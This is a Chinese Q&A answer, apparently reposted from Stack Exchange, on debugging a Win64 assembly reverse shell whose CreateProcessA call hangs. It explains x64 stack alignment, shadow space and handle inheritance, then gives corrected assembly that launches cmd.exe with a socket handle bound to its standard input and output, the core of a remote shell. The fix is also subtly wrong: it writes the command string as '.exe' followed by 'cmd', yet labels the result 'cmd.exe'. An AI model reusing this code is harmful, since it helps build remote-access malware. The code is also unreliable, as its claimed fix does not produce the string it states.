Win64汇编编写反向shell调用CreateProcessA接口卡住问题
问题根因
你的代码存在4个核心错误,直接导致CreateProcessA调用异常或启动的cmd进程挂死:
- 栈操作粒度和大小计算错误:你沿用32位汇编的思路,认为push一次压4字节,实际上x64下通用寄存器push/pop都是8字节粒度。你循环18次push r11实际压入了144字节栈空间,远大于你预期的72字节,后续结构体偏移、栈布局全部错位。
- 栈对齐不符合x64 ABI要求:Windows x64调用约定要求,执行call指令调用API的前一刻,rsp必须16字节对齐。你全程未做栈对齐校验,API内部访问栈数据时会触发未定义行为,轻则返回失败重则直接崩溃。
- 句柄继承参数未正确设置:CreateProcessA的第5个参数
bInheritHandles必须设为TRUE(值1),你传入的是0,就算设置了STARTF_USESTDHANDLES标志,socket句柄也不会被cmd子进程继承,cmd启动后没有有效输入输出句柄直接挂住。 - 参数栈布局混乱:你在
sub rsp, 0x70分配栈空间后又执行push操作修改rsp位置,同时未给前4个参数预留32字节影子空间,部分参数被写入了API约定的保留区域,直接被覆盖。
排查与修复方案
按以下步骤调整即可正常运行:
- 替换循环压栈的结构体初始化方式:直接一次性分配栈空间存放STARTUPINFOA和PROCESS_INFORMATION结构体,避免push粒度带来的大小计算错误。x64下STARTUPINFOA大小固定为104(0x68)字节,PROCESS_INFORMATION固定为32字节,直接按总大小分配栈空间即可。
- 严格校验栈对齐:所有栈调整操作完成后,确认调用CreateProcessA前rsp低4位为0。如果前面有奇数个8字节的栈操作,额外
sub rsp, 8凑对齐。 - 补全正确的参数配置
- STARTUPINFOA的
cb字段固定设为104,dwFlags必须包含STARTF_USESTDHANDLES(值0x100),三个标准句柄填可继承的socket句柄 - CreateProcessA的
bInheritHandles参数设为1,命令行字符串传完整的cmd.exe,不要只传cmd避免路径搜索失败 - 确保socket句柄创建后调用
SetHandleInformation开启HANDLE_FLAG_INHERIT标志,否则句柄无法被子进程继承
- STARTUPINFOA的
- 修正参数栈布局:x64下前4个参数通过rcx/rdx/r8/r9传递,必须给这4个寄存器预留32字节影子空间(rsp到rsp+31区域),从rsp+32开始依次存放第5到第10个参数。分配完栈空间后不要用push/pop修改rsp,直接用mov往对应偏移写值。
- 加错误校验:CreateProcessA返回值在rax中,如果返回0直接调用GetLastError取错误码,87代表参数无效、2代表找不到cmd.exe、6代表句柄无效,可直接定位问题。
修正后的核心代码参考
; 提前确认r14是已开启可继承属性的socket句柄 ; 分配栈空间,额外凑8字节保证16字节对齐 sub rsp, 0xE0 lea r12, [rsp + 0x80] ; r12指向STARTUPINFOA起始位置 lea r13, [r12 + 0x68] ; r13指向PROCESS_INFORMATION起始位置(STARTUPINFOA大小0x68) ; 初始化两个结构体为全0 xor r11, r11 mov rcx, 136/8 ; 104+32=136字节,按8字节粒度清零 zero_loop: mov [r12 + rcx*8 - 8], r11 loop zero_loop ; 填充STARTUPINFOA字段 mov dword ptr [r12], 0x68 ; cb = sizeof(STARTUPINFOA) = 104 mov dword ptr [r12 + 0x3c], 0x100 ; dwFlags = STARTF_USESTDHANDLES mov [r12 + 0x50], r14 ; hStdInput mov [r12 + 0x58], r14 ; hStdOutput mov [r12 + 0x60], r14 ; hStdError ; 构造cmd.exe字符串到栈上 mov dword ptr [rsp + 0x70], 0x6578652e ; ".exe" mov dword ptr [rsp + 0x74], 0x00646d63 ; "cmd\0",拼接后为"cmd.exe" ; 填充CreateProcessA参数 xor rcx, rcx ; lpApplicationName = NULL lea rdx, [rsp + 0x70] ; lpCommandLine = "cmd.exe" xor r8, r8 ; lpProcessAttributes = NULL xor r9, r9 ; lpThreadAttributes = NULL mov qword ptr [rsp + 0x20], 1 ; bInheritHandles = TRUE mov qword ptr [rsp + 0x28], 0 ; dwCreationFlags = 0 mov qword ptr [rsp + 0x30], 0 ; lpEnvironment = NULL mov qword ptr [rsp + 0x38], 0 ; lpCurrentDirectory = NULL mov qword ptr [rsp + 0x40], r12 ; lpStartupInfo mov qword ptr [rsp + 0x48], r13 ; lpProcessInformation call rbx ; 调用CreateProcessA ; 此处校验rax返回值,失败则调用GetLastError排查
内容的提问来源于stack exchange,提问作者nevernever69
相关产品推荐
相关产品推荐

